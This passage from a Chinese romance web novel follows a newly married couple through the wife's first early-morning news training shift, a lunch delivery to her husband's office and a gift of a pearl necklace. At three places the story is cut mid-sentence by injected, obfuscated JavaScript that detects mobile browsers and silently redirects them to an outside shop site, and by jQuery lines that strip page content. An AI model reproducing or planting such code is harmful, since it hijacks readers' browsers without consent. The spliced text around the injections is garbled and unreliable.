“那等会儿让厨房多加几个菜,庆祝庆祝。想吃的给厨房说。”陆潜义和蔼地说道。
姜栩应声,打了声招呼跑去厨房。
看着远去的人,陆潜义意味深长地看了陆尽惟一眼,叹了口气:“不知道的以为你们俩不认识,人回来连句话都没有,装什么高冷啊。”
陆尽惟视线还盯着财经新闻,语气平淡:“您不是跟她聊着吗?”
“我聊你就不能聊,等哪天栩栩跑去跟别人聊你就好受了!”
陆潜义恨铁不成钢,却又觉得这事不能太着急。
沉默片刻,他提醒:“阿惟,你跟栩栩结婚都快半年了。”
“我知道。”陆尽惟自然知道。
最初刚结婚时,公司海外业务正吃紧,婚礼一结束他就飞走,一走就是好几个月。偶尔互通行程,冒出几条远渡重洋的信息,有时候他摸到无名指上的婚戒,也会晃一下神:哦,已经结婚了。
然后继续投入工作。
如今在京市,相处越来越多,每天抬头不见低头见,他早就适应了这个身份。
“那她就是你的家人。”陆潜义知道自己孙子什么脾气性格,一副冷冷淡淡的模样,不会说什么漂亮话,“不是说你只需要尽职尽责给她物质上的保障,还有精神上的。”
没等陆尽惟说话,陆潜义继续说:“人是我选的,相亲是你自己去的,我没逼你一定要跟她结婚还是怎么,是你自己经过考虑决定的。在你做好决定的那一刻,就要为这个决定负责。你心里只想着来顺我的心应付我,但是你要多想想人家女孩子,她不欠你什么,就算她爸公司受了你的帮助,成为一家人那是应该的,不是拿来跟人做条件的筹码。我陆潜义可没教过你这些拿感情当交易的手段。”
陆尽惟沉默了几秒,毫无反驳:“我知道了爷爷。”
“你父母是什么状态你也清楚,各忙各的,一年见不了几回。所以我让你结束工作早点回国,不想让你跟我栩栩也一直分居两地……我不想你跟他们一样。如果想在自己的家庭里找到一点温暖和信心,首先就端正你对婚姻的态度。你们结婚迅速,感情基础不深,要多相处了解。你心里别抵触,也别刻意划清界限。”
陆潜义轻轻叹了口气。看着两人不温不火的状态,他忍不住多说两句。
大概是受到父母关系的影响,陆尽惟对感情、对婚姻都没有那么向往,但他不希望自己的孙子这样没有情感地生活。
人总要去体会感情中的温暖,才会有实实在在的血色。
陆尽惟也曾这样想过。他一直都做着和不爱的人过一生的准备,但突然某些瞬间,他又会生出和姜栩试着有感情地相处的念头。
只是,那个瞬间很淡,很轻,一秒即逝。
他沉默了会儿:“爷爷,我尽量。”
“不是尽量,是必须。”
10. 细微末节
晚餐结束后,陆尽惟在书房跟人开会,姜栩洗漱之后,躺在沙发里看书。
不知过了多久,陆尽惟进来,一身藏蓝色条纹的丝绸睡衣,之前就没穿过,看着他身上的睡衣款式,姜栩下意识看向自己身上穿的,粉色条纹,同款……
睡衣是管家新准备的,只觉得颜色款式好看,所以直接换上,但她没想到跟陆尽惟的是情侣款。
两人互相对视一眼,又各自移开。
“还不睡?”陆尽惟随口问了句。
“等会儿就睡……”她把书页折了个角,放在一旁,然后抬眼看着他,正组织措辞。
“有事?”
“……我下周要去早间新闻培训,跟她们节目的时间,早上四点……”
“嗯。”
“我半夜起床,有闹钟声,会很吵……我们还睡一起吗?”她问得小心翼翼,半夜起床再轻手轻脚,她的几个闹钟就足够把人叫醒几轮。
但话一出口她就有点后悔,昨晚楼梯上的事之后,两人之间那种微妙的气氛还没完全散干净,现在说分开睡,听起来像是在躲。
但她确实只是担心吵到他。
陆尽惟看了她一眼:“你打算睡哪?又想去睡次卧?”
姜栩本意如此,但没这么说:“我就是先问问你,你要是睡眠不好,我们就分开睡,”怕他又想着什么话挫她,接着解释,“爷爷知道是工作原因,也不会多说什么,我到时候跟爷爷说。”
沉默几秒后,陆尽惟才开口:“没关系,先适应吧,实在不行我们再说。”
“好……”
上床之后,姜栩忽然想起什么,转头问了一句:“你没有起床气吧?”
“没有。”
“你保证哦。”她想要一个十分确定的回答。
身边眼角微微弯了下:“怕我找你撒气?”
“……”
“放心,我不动手。”
“好。”姜栩松了口气。
陆尽惟的睡觉时间一到,床头的灯光自动关掉。
姜栩等了几秒,抱着手机又滑进了被窝。
没过几分钟,隔着被子,一道声音钻进耳朵。
“姜栩,要是凌晨起床的话,你还是早点睡。”
姜栩身子一顿,缓缓钻出被子。
一露眼,借着手机的微光,她看到晦明晦暗的光线里,陆尽惟一双眼睛正看着她。
姜栩眼睫眨了眨,有些心虚:“现在还早。到扰到你了?”
“十一点多了,”他语气平静,盯着她,“先静心,你把手机放下。”
在直勾勾的视线下,她配合地照做。只能干躺着,脑海里不断闪过各种画面。
漆黑中,她眨着眼睛,并没有睡意。
“闭着眼睛。”身边突然传来一声磁性的声音。
“……”
凌晨三点,姜栩第五次按掉闹钟后,再次把脸深深埋进枕头里。
她原本在广播部的节目是下午五点,与正常的上下班时间相差不大,但早间新闻在清早,加上直播之前要开会,顺稿练习都得提前做好,七点半的新闻直播,她四点半就得到广电台。
没有闹钟铃声扰乱的几分钟里,她睡得迷迷糊糊,闹钟再一次响起,她刚关掉,床的另一侧传来布料摩挲的声响。
陆尽惟不知何时醒了,侧身看着她蜷缩的背影,嗓音里还带着睡意未散的哑:“闹钟循环了二十分钟。建议你做好决定——起床或者直接关掉,选择不去上班。”
混沌的睡意被敲破。
姜栩猛地睁开眼。窗外是沉稠的墨蓝色,离天亮还早。她借着窗帘缝隙里透出的微不可察的夜灯暖光,看向身侧。
陆尽惟手臂搭在额前,只露出清晰的下颌线和略显不耐而抿着的薄唇。墨发些微凌乱,比平常看着更加慵懒。
“抱歉,”她嗓子发干,“吵到你了。”
她揉了揉自己的头发,又使劲眨了眨眼睛,迫使自己彻底清醒。
“四点半到台里?”陆尽惟声线低沉,没接道歉的话。
“嗯。”
她在床上发了会儿呆,彻底关掉闹钟,轻手轻脚掀被下床。
身后传来依旧平淡的声音:“司机在车库里等你。跟张叔打过招呼,这段时间他配合你的作息。”
姜栩脚步一顿。
她原本计划自己打车。大半夜出行,不好意思麻烦人,所以也没跟家里司机说。
没想到,他居然提前帮她安排好了,心存感谢的同时,一股很淡的暖意涌上来,是一种被周到照顾的细微。
“谢谢。”她低声道。
姜栩冲进洗漱间时,冷水扑在脸上的瞬间才彻底驱散最后一丝困意。她用最快的速度洗漱、护肤,从冰箱拿了一瓶牛奶和面包当早点,匆匆出门。
走到车库,微冷的空气扑面而来,带着点儿湿气。车库的入口处,黑色轿车已经静静等候,司机张叔看见她,立刻下车打开了后座车门,看着她微笑:“太太,早。”
“辛苦您了,张叔。”姜栩笑着道谢,弯腰坐进温暖的车厢。车内弥漫着很淡的雪松香,是陆尽惟身上常有的味道。
她有些恍惚,仿佛那人就坐在身边。
车平稳开出,沿着空旷的街道行驶,路边的商铺都还没开门,只有偶尔经过的早餐店亮起灯,照出忙碌的身影和烟火气。
四十分钟后,经过姜栩提醒,车子稳稳停在了广电台侧面的临时停靠区。
大楼的玻璃幕墙映着路灯的光亮,仍显庄严肃穆。
姜栩对驾驶座说道:“谢谢张叔,中午不用来接我,我自己回去就行。”然后推开车门,快步走向大楼。
刚进大楼,就听到有人叫她……
抬头,是张丰婷的助理,她手上端着几杯咖啡,快步冲到姜栩身边。
“早啊,姜栩。”两人一起来到了电梯口,助理按下电梯,笑道:“我叫杨雨柔,你可以叫我小杨,没想到你会来这么早。”
姜栩回了声早:“你叫我姜姜就好……不早,已经四点十五了……”
杨雨柔含笑摇头:“你算早的了,大家都是提前几分钟才到……能睡一会儿就会多睡一会儿。”
姜栩突
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590410|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然想起自己早上的挣扎,以及陆尽惟平静的提醒,淡淡笑开:“我也挣扎了好久才起来。”
杨雨柔笑了笑,把手里的一杯咖啡递给她:“所以还是得来一杯冰美式,提神利器!张姐让我给你和周君绵带的,说欢迎你们加入早班团。”
姜栩有些意外地接过:“谢谢。”
没过一会儿,周君绵也赶来,脸上还有些睡意:“你这来得挺早啊。”
“挣扎了好久!路程远,还比你起得早。”姜栩也很难适应这种突然早起的状态,苦着脸倾诉。
周君绵打了个哈欠:“那你怎么过来的?”
“司机送的。”
“你老公都不知道?”
“肯定知道啊,差点睡过,他提醒的……”
“这有老公就是不一样,相当于有了个智能闹钟。”周君绵调侃。
她半开玩笑道:“我其实一直忐忑,怕吵醒他,他直接起来打我!”
“陆总可是绅士,哪会。”一阵笑话飘过,姜栩睨了她一眼。
“什么陆总?你们在说咱们新节目的赞助商吗?”杨雨柔突然冒出来,吓两人一跳。
周君绵率先敷衍过去:“对啊,我们说这陆总真是大手笔,直接新节目最大的赞助,不简单。”说完,她悄悄看了眼一旁的姜栩,眼神不明。
姜栩嘴角含笑,也不搭话。
“对啊,”杨雨柔跟两人聊起来,“好像还是陆总主动来谈的赞助,有人猜测其实是咱们台里有关系户,所以才特意来投咱们这个新节目。”
姜栩:“……”
“关系户?”全程下来,都是周君绵在说话,“不会吧?谁啊?”
“不知道……”八卦总让人没有抵抗力,杨雨柔直接敞开了聊,“好多人说是咱们新闻部刚进来的苏叶,之前有人看到她坐陆总的车下班,陆总那样的人物,哪里会亲自接人下班。这两人指定有什么关系。但是着实没想到,这次主持人不是她……”一时嘴快,她连忙找补,“姜姜,你真的实力超群!恭喜你。”
姜栩做个旁观者听了段自己老公的八卦,心里一阵说不出的滋味,浅浅笑了笑:“谢谢。”
杨雨柔被张丰婷叫走后,周君绵压低了声音:“听自己老公的八卦,是什么感受?”
“就像追了一部剧,好不容易更新一集,结果发现这集没什么营养。”
周君绵笑她太过淡定,认真了几分:“要是真有情况,怎么办呢?”
姜栩思考了一下:“坐个车就有情况,未免太过武断。”
“你这是在帮他解释?”
咖啡的温度隔着纸杯传到手心,凉得指尖僵硬,她喝了一小口:“我帮他澄清,也是维护我自己的名声。经过考核,他的人品是没问题的,而且,他这种人,不会在这种感情私事上出差错,不然太low了。”
“正经陆太太说话就是不一样,真有陆总那行事作风了。”周君绵给她竖起大拇指。
姜栩睨了她一眼,心里却划过一丝诡异。
突然从别人口中听到自己老公的某些八卦信息总有点怪怪的……
11. 一切顺利
四点半,大家都进入会议室。
姜栩和周君绵第一次见识到凌晨四点半早间新闻的热闹,张丰婷坐在长桌最前端的位置,听大家畅所欲言,然后一一给予意见,言辞犀利,精准独到。
说完会议内容,她放下手中咖啡杯:“内容就这些。最后……”她目光转向桌对面,示意杨雨柔把新闻稿递给两人,“我们欢迎一下我们的新主播周君绵,还有《人生访谈》的主持人姜栩!”
办公室里响起一片掌声。
结束会议,张丰婷看了一眼墙上的钟,目光扫过姜栩和周君绵:“你们俩今天先跟流程,只观摩不碰播。周君绵去导播间,姜栩去主控室,杨雨柔带你们过去。”顿了顿,又补了一句,“看清楚每一步,过几天你们要自己走位了。”
姜栩点点头,拿上笔记本,跟着杨雨柔往主控室走。
走廊很长,即时是凌晨四点多,灯光也是明晃晃的,繁忙而有序。
“紧张吗?”杨雨柔笑着问。
“还好。就是不知道要做什么。”
“不用做什么,看着就行。”杨雨柔推开门,“进来吧。”
主控室里已经坐满了人。巨大的屏幕墙上分割着十几个画面,演播室、嘉宾连线、新闻素材、字幕机……指示灯明明灭灭,红色绿色跳个不停。
导播坐在最前排,面前三块显示器,左手握着对讲,右手在键盘上敲着什么,头都没抬。
前排的人戴着耳麦,对着麦克风说了句:“音控,演播室二路信号确认。”
姜栩把笔记本摊在膝盖上,开始记录每一个岗位的职责和直播的每一个环节。
临近开播,主控室里导播的声音响起:“全场静音,十秒倒计时。”
姜栩不自觉地屏住了呼吸。
“五、四、三……”
屏幕墙正中央的画面亮起,片头音乐准时切入。两位主播端坐在镜头前,面容平和,眼神稳定。
“观众朋友早上好,这里是……”
姜栩看着屏幕,忽然觉得眼眶有点热。心口有种说不清的震动。
此刻眼前这个精确到帧的世界,在凌晨七点三十分长出真实的血肉。
八点,直播结束。
屏幕暗下来的那一刻,主控室里没有人说话。几秒钟后,导播摘下耳麦,靠在椅背上,长长地呼出一口气。
姜栩和众人打完招呼后,去了导播间找周君绵。
推门进来时,周君绵的表情还是痴迷的,她把手里那杯已经凉透的冰美式递过去:“喝不喝?”
周君绵接过来灌了一大口,皱了皱眉:“化了,不好喝了。”
“那你还喝。”
“谁叫你递给我了。”
两人相视一笑,并肩走出导播间。
走廊尽头的玻璃窗透进明亮,带着点点暖色的阳光。
周君绵忽然说:“我刚才在导播间,看到主播开口的第一秒,眼泪差点掉下来。”
姜栩能共情那个瞬间,笑看她一眼:“这么夸张?”
“就是……那个瞬间,觉得这件事好大。”周君绵用手比划了一下。
姜栩沉默了几秒:“我在主控室的时候也在想,以后坐在那个位置,该是何种心情,不知道能不能扛住。”
“必须能。”
-
第一天的培训时间不长,姜栩回到老宅时,还没到一点。大概初次接触新工作内容,即使凌晨三点多起床,她此时竟毫无困意,兴奋居多。
刚进院子,陆潜义正拿着一个食盒往外走。
“爷爷,您要去哪儿?”她问起。
陆潜义从香港回来已经有几天,估计太过奔波,染了感冒,血压也很高,家庭医生几乎隔天就会过来一趟。
“栩栩回来啦,今天工作怎么样?还适应吗?”
“很好,非常有干劲!”姜栩笑得开心。
“那就好,我可是等着你后面的主持节目。”陆潜义也跟着开心。
此前他也想过跟杨华利说一声,把姜栩稍微往上提一提,但想了想,又打消了念头。姜栩的性格有时候挺倔,能在广播部坚持这么久,大概也是希望能够独立地获得实至名归的工作荣誉。
姜栩不好意思地笑了笑:“谢谢爷爷,我继续努力。”
陆潜义看着姜栩,接上刚刚的话题:“我正要去给阿惟送午餐,他最近忙,又估计有点感冒,反正我闲着就做点他爱吃的,补补营养也好,这刚做好的。”
“让家里阿姨送吧,您这身体刚养好一些,最近流感病毒严重。”姜栩拦住他。
陆潜义犹豫着却没松动。
姜栩见状,主动开口:“要不,我帮您送过去?您在家休息。我保证完完整整地送到他手上!”
说来有些不好意思,凌晨没把自己叫起来,反而把陆尽惟叫醒了。今天稍微跑腿送个餐也算是她的一点歉意。
“不不不,你这大半夜刚工作回来,累得很,你好好休息,我戴个口罩出去,没什么事。”
“没事儿,我不困,甚至感觉精神更好了,”姜栩露出精神抖擞的模样,点开手机屏幕看了眼时间,“现在还早,我送了回来补觉也不迟,您别跑了。”
陆潜义斟酌一番,点头答应了。
看着姜栩坐上司机的车出发,陆潜义不禁笑了起来,转身朝着别墅里喊:“老刘啊,把象棋摆上,咱俩来两局。”
刘管家疑惑:“您不是要去给阿惟送午餐吗?”
陆潜义笑哈哈道:“都是有老婆的人了,哪能次次让我这个老头子送。”
-
姜栩到启悦楼下时,才想起来是不是该提前跟陆尽惟说一声。
她翻了好一会儿,找出他的电话号码。
嘟嘟声响了一轮,最后变成机械女声的提醒:对不起,您拨打的电话暂时无人接听,请稍后再拨……
她只好收了手机,直接进大楼。
干净明亮的大楼内部,正中央的前台见她前来,礼貌询问。
姜栩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590411|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
交代自己来意:“你好,我找你们陆总。”
前台的女生声音温柔,脸上是标准的职业微笑:“您有预约吗?我可以帮您看一看。”
姜栩摇头,“是这样的,陆总的爷爷准备了午餐让我送过来,”她将手中的食盒抬起来展示,又放下,“我是过来送外卖的。”
之前陆老爷子亲自送午餐,偶尔也会有家里的佣人送过来,食盒都带着独特的标志,很好辨认。总裁办也曾吩咐过,家里送餐的直接送上去。
前台确认了几眼,引她往电梯口去,帮忙按好电梯:“上楼后会有助理,你直接给他们就行。”
姜栩:“好的。”
电梯门缓缓合上,镜面映出她略显单调的身影。
她盯着跳动的楼层数字,忍不住在心里嘀咕:电话不接,公司规矩还这么多,早知道就该硬劝爷爷让阿姨来送,而不是自己包揽了跑一趟。
可转念一想,爷爷那固执的性子,怕是认准了要亲自送,自己接手这事,或许正合他意。
罢了,老人开心也好。
叮——
顶楼到了。
楼层很高,但窗明几净,通透而敞亮。
电梯口没有人,她缓缓继续往前走。
刚走两步,旁边的磨砂玻璃门打开,为首出来的就是这食盒的主人,与她撞个正着。
陆尽惟没穿外套,藏蓝色衬衫敞开了一颗扣子,袖口挽着,露出白皙而精壮的手臂。
姜栩话在嘴边,不知道该怎么喊他。
另一边突然出现一个穿黑色西装的年轻男人,扫了一眼食盒,朝着伸手:“送外卖的是吧?给我就行。”
姜栩淡定地点头,把食盒递过去:“这是爷……陆总爷爷让送来的。”
手上一空,她立马感到无措,总想用手抓点什么东西来缓解,毫无一物,只能手指小幅绕圈。
陆尽惟脚步顿了下,给身后出来的人让出空间,缓步停在她的侧前方。
估计是刚结束会议,身后接连出来五六个人,看了眼停下的陆尽惟,顺带把视线也分给了她。
“送外卖的?”语调微微上扬,混着清润的嗓音。
姜栩这才抬头。
刚刚接过食盒的男人以为是这位外卖员不该上来,立马解释:“陆总,楼下说是您爷爷让送的外卖,所以才让她上来的。”
陆尽惟点头,表示知道。
“什么时候给自己找的兼职?”
这话是问姜栩的。
姜栩没好气地回:“下班之后。”
一旁的助理不明所以,闷声等吩咐,突然又感觉这个送外卖的有点眼熟。
陆尽惟看着姜栩微微睁大的瞳孔,似乎是对他的问题不太满意。
“跟我进去吧……送外卖的。”前一句是正经话,后面的称呼绝对是他有意调侃。
说完,他又对身边的助理开口:“她是我太太,以后直接让她上来。”
助理们:!!
姜栩:……
12. 纯粹之心
陆尽惟的声音不高,却像一颗投入平静湖面的石子,在安静的走廊里漾开涟漪。
姜栩也愣了,手指收紧,猛地抬头看他。
在她的意识里,一直都觉得陆尽惟默认隐婚不对外公开,自然也包括了他公司的下属,所以她在送午餐时,只称自己就是个给陆老爷子跑腿送外卖的。
他这么直截了当地说出口,挺让她意外的。
助理们的目光悄悄凝固在这位陆太太身上,脸上的职业微笑僵了,心中开始狂吼。
作为陆总的助理,他们知道陆总结婚了,结婚没多久周智就给他们看过照片,未雨绸缪地交代过如果在公司遇到陆太太,要有分寸。但照片是证件照,本人比照片好看太多,加上她刚才低头拎着食盒说是送外卖的,他们压根没往那上面联想。
今天居然就这么直接见到了陆太太本人!
接过食盒的那个年轻助理心中崩溃,飞快道歉:“太太,对不起刚才认错了。”
姜栩浅笑,说了句没事,还想解释自己真的就只是帮忙送午餐,话到嘴边被陆尽惟的目光截住。
他在她身侧半步远,语气柔和:“走吧,去办公室。”
说完拉上她的手,往里走。
跟上他的脚步时,姜栩听见身后助理们压低的私语,耳根突然发热。
一半是被他当众点破身份的无措,像要被公开处刑似的,一半是莫名的慌乱,说不上来为何。
视线落到他的手上,骨节分明,白皙修长,包裹着她的手,显得无比亲密。
身后的助理们退到各自的工位,只是眼角的余光还忍不住地往那边瞟。
周智过来时,大家纷纷围过去:“周助,真的是陆太太诶!你给的什么证件照啊,都过期十几年了吧。”
周智对那张证件照也感到无奈,那是陆总当时给的,似乎是从陆太太朋友圈里随便下载过来的。
他扫了扫众人八卦的眼神:“行了,按耐住你们的八卦心思,不要再向下传播,我们知道就行了。”
有助理疑惑:“陆总这态度也不像是要隐婚的啊,就算被知道也没什么吧,都是堂堂正正的。”
“对啊,何况陆太太还这么好看,真该给公司那些爱慕陆总的小迷妹看一看。我一开始还在想,怎么陆总家送外卖的颜值这么高……”
一人一嘴,周智打断,认真说道:“确实不是隐婚,但不代表陆太太就得被议论。陆总的做事风格你们又不是不知道。”
众人立马明白,收起准备传播八卦的手机。
姜栩被陆尽惟带进办公室。
放眼一看,大幅落地窗干净透亮,窗外是鳞次栉比的楼宇,阳光透过玻璃洒进来,在地板上投下斑驳的光影。办公室的装修简约奢华,黑白灰的主色调,办公桌后面的书架上摆着两排专业书籍和一些简单装饰,角落有一处花架,养着一盆她不认识的植物,生机盎然。
手上的温热脱离,陆尽惟指了指办公桌对面的沙发:“坐吧。喝点儿什么?”
姜栩坐下,双手放在膝盖上:“不用了,外卖……午餐我送到了,马上就走。”
刚才他突然坦白身份的冲击还没散去,满脑子都是他脱口而出的太太。
陆尽惟给她倒了杯温水,看了眼手机上的未接电话:“抱歉,刚刚开会没注意来电。”
姜栩笑了笑:“没事,想到了是这个情况。”
他打开食盒,四菜一汤,保温桶里的清炖鸡汤冒出缕缕热气,里面炖着红枣、枸杞和几块切得整齐的山药,汤色清亮,一看就炖了很久。
“爷爷让你送的?”他抬眼看她,声音有一点点哑,但不算明显。
姜栩点头,“爷爷本来要自己送,我回去刚好碰到。”
“他闲不住,医生都说了让他静养。”目光掠过她眼底淡淡的青色,停顿了一瞬,“没休息过来的?”
“还没,感觉还好,不怎么困。”
两人你问我答,气氛还算和谐。
陆尽惟没再问什么,伸手盛了碗鸡汤。
姜栩象征性地喝了口温水,想告辞:“送到我就先回去了,爷爷还在家等着回复。”
陆尽惟没抬头,将那碗汤放到了她的对面:“不着急。”
姜栩疑惑地看着他。
他起身拨通内线说了两句,转身后目光落在她脸上:“中午应该也没吃。送来的挺多,一起吃。”
“不用了,我……”
“浪费不好。”他打断她,语气不容置疑,“而且,你帮爷爷跑一趟,总不能让你空着肚子回去。”
姜栩没再接话。
很快,助理拿来一套精致的白瓷碗筷。
两人一人一碗,没有多余的交谈,安静的空间里,只有勺子碰撞瓷碗的清脆声响。
姜栩看了看他吃饭的样子,很斯文,咀嚼的时候慢条斯理,阳光落在他的侧脸上,勾勒出清晰的下颌线,睫毛很长,在眼睑下投下一小片阴影。
他吃得不多,偶尔清一下嗓子,动作很轻,不会叫人注意。
姜栩以为他嗓子不太舒服,从包里拿了几颗润喉糖,递到他面前:“这个糖效果挺好,嗓子会舒服一点。”
“谢谢。”他接过润喉糖。
吃得差不多,陆尽惟放下筷子,“跟前台说了,以后来公司你直接上来。”
“我也就今天……”她的声音有些低,暗示以后不会有什么机会给他送。
“以后的事说不准,有一就有二。”
姜栩觉得无法反驳,毕竟老爷子很欢喜她这个行为。
陆尽惟抬眼,喊她:“姜栩。”
“啊?”
“你打算隐婚吗?”
姜栩哑口,思考着该怎么回答。
她并没有要刻意隐瞒,但也并不认可大张旗鼓地公开。
之前在赞助商的饭局上,她就以为他是打算隐婚的,也并没什么异议,所以就按着隐婚的状态过。
她迟疑了下,摇头。
“我也没打算隐婚。”
“所以不需要你进公司都藏着掖着。”他抬眼顿了顿,看到了她眼里的不确信,“之前我们一直没有说过这件事,今天也算个契机,既然都没有隐婚的打算,所以刚刚那样说,也是一个合理的行为……放心,他们不会乱说。”
他是在为刚刚的行为做解释。
“我知道了。”她低下头,心中的隐隐担忧被他解开,手指轻轻摩挲着手机外壳。
“我也没有要刻意隐婚……不过,我在广电台里,大家不知道你是我……”她卡壳,老公两个字硬没说出口,“他们不知道我们的关系,我也不想去公布。”
其实很大的原因,是她不喜欢依赖一个某某太太的身份在广电台立足,陆尽惟的身份跟权利确实可以让她在广电台顺风顺水甚至平步青云,但不是她想要的。
“意思就是,不让台里知道。”
“可以这么说……”
“给我一个理由。”
姜栩想了想:“台里那些领导都认识你,甚至他们还得对你十分客气,但我只是广电台的一个主持人,没有其他身份。我也不想成为他们眼中可以讨好奉承你的中介,本来广电台的良好风气就已经没剩多少,我不想做那个坏风气的一份子。这对那些老老实实进去的同事,不太公平。”
话落,陆尽惟抬眼看她,带着几分审视,随即点了点头。
他想过很多个理由,比如不想被议论,又或者其他,说对其他同事不公平,倒是让他没想到的回答。
正直,却理想。
人是势利的,她不去做那个毁坏风气的人,大把的人去做。她一个人做得遗世独立,并没有多大的意义。
不过她这份纯粹的坚守很难得,可以说令人欣赏。
他顿了顿:“不过有件事你可能没想过。”
“什么?”
“《人生访谈》是我赞助的,新闻部那些导演制片以及上层领导已经都知道我们的关系了。你现在成了节目主持
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590412|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,有廉.政制度,他们还得签知情同意书,你自然也要报备。但他们用不用你,你有没有能力做好节目,这是看你的专业能力,无关特殊待遇。”
姜栩张了张嘴,一时没接上话。
“我不是在打击你,”他的语气平淡,“你想靠自己的本事站稳,这很好。但有些东西你藏不住,它也不意味着你就必须得接受优待。”
姜栩沉默了片刻,慢慢点头:“我知道了。”
“那边有打过招呼,不会随便传播你的信息,知道的人不多。”
她没再说什么,只回了个“好”。
“第一天去新闻部怎么样?”双方达成共识后,陆尽惟与她闲聊。
姜栩有些意外,他居然还关心这个,大概是没话找话。
不过她的兴致倒被勾了起来,“挺好的,今天只是观摩直播,所以时间不长,不过学到了一些东西。”
她的语气里颇为欣悦,陆尽惟轻轻勾唇:“恭喜,未来的姜主持人。”
没有华丽的辞藻,却让姜栩的心头一喜。本来没觉得多得意,现在得到他的一声恭喜,莫名多了几分成就感。
“谢谢。”她心里悄悄乐着,喝完最后一口汤,“不过之后就是整天培训,需要一段时间,现在直接上节目也不可能。”
“祝贺你。”
一个丝绒盒子递到她面前,牛奶白,一片纯洁,十分扎眼。
“给我?”她抬起眸子,一脸惊讶。
陆尽惟点了点头:“慈善晚会拍下的,感觉挺适合你。”
那场慈善晚宴的拍品就这条珍珠项链吸引了他的注意,脑海里突然匹配上姜栩的脸,于是就拍了下来。
至于当时为什么觉得该送给她,他没想过。
大概就是,结了婚,即使她的服装和配饰珠宝都有专人负责,但再送点其他不一样的也并没什么。
拍下来已有几天,今天送给她正好可以当作庆祝顺利进入新闻部。
姜栩盒子打开一看,里面是条细巧的珍珠项链,珍珠圆润饱满,在灯光下泛着柔和的光泽。
“还可以吗?”陆尽惟看她脸上没什么表情。
“很好看,我很喜欢,谢谢。”
姜栩说不出此时是什么感觉,总之就是惊讶,然后觉得今天的光线很好,把项链照得分外好看。
陆尽惟盯着她看了两秒,短短时间里看了仔细,她的皮肤很好,也很白,眉毛微弯,浓淡合宜,一双桃花眼随着笑意微微弯起,和此时的阳光一样,干净柔和,慵懒而舒服。
“喜欢就好。”
-
吃完后,助理把食盒拿了出去,姜栩坐在沙发上无所事事,站起身消食。
看看时间,觉得该回去了。
正想着,陆尽惟提议:“不着急的话一起回去。”
姜栩犹豫片刻,答应了。
“里面有休息室,困的话可以进去睡会儿。”陆尽惟视线朝着侧方的门示意。
姜栩扫了一眼,忍不住打了个哈欠:“那我进去看看。”
休息室空间不小,灰白色系,和外面的办公室色调差不多,一张大床,一个茶几,一个衣柜,两个单人小沙发,清爽简单。
她在里面绕了两圈,仔细打量之后,正准备在床上躺一会儿,突然想到自己穿着一身室外没换的衣服,旋身坐进了单人小沙发里。
早上起太早,这会儿松懈下来,她很快就窝在沙发上睡了过去。
最后,是陆尽惟叫醒的她。
姜栩看了眼时间,已经过去了两个小时。
“怎么过了这么久?”她揉着眼睛。
陆尽惟没有解释:“现在回去吧。”
此时,周智敲门进来:“陆总,外面雨停了。”
陆尽惟顿了一下,目光掠过窗外,眼底有一瞬不易察觉的暗沉,“嗯”了一声。
“还下雨了?”姜栩轻声嘀咕了句。
陆尽惟没有回答,只是淡淡地说了句“走吧”。
13. 秘密心灵
车里安静,雨后的空气中带着潮湿的清冽,从半开的车窗缝隙里渗进来。
姜栩侧头看了陆尽惟一眼。他开车很稳,双手搭在方向盘上,目光看着前方,神情和平时没什么两样。
车里放着大提琴曲,缓慢而克制。姜栩靠在座椅上,看着窗外湿漉漉的街道,楼房的倒影在地面的水渍中影影绰绰。
下周爸妈回京市,上次提了一嘴后也没后文,姜栩现在猛然想起,也该提前做准备。
“下周爸妈回来,需要我准备什么吗?”
“不用,只是吃个饭。”
跟她回家时他都周到地带了礼物,她也该同他保持一致。
想了想又问:“爸妈喜欢什么?好久不见,跟他们吃饭,空着手不太好吧。”
陆尽惟一直看着前方,思索了几秒。
“妈喜欢花,玫瑰类的,爸……”他停了下,“上次从拍卖会拍的那幅画还在吗?”
“在,挂在次卧里的。”
“那就带着送给他,他会喜欢。”
姜栩有些意外:“那不是你拍的吗?”
“我拍的,现在在你手里了。”他缓缓说,“他要是问起来,说是你看中的就行。”
姜栩张了张嘴,想说什么,又咽了回去。
她大概明白,陆尽惟是在替她做好准备,用一种简单直接的方式。
“谢谢。”她低声说。
陆尽惟没接话,只把车里的音乐调低了些。
车窗外的光景一寸一寸往后移,车速不快,姜栩看着熟悉的路口,转头与他商量:“等下能不在前面那个路口停一会儿?”
“有什么事?”
“爷爷很喜欢那家的梨花糕,昨天还念起,我们刚好经过,买一点回去。”她说着,手指向窗外指了指。
陆尽惟看着无雨的阴沉天气,极轻地皱了下眉,应下来。
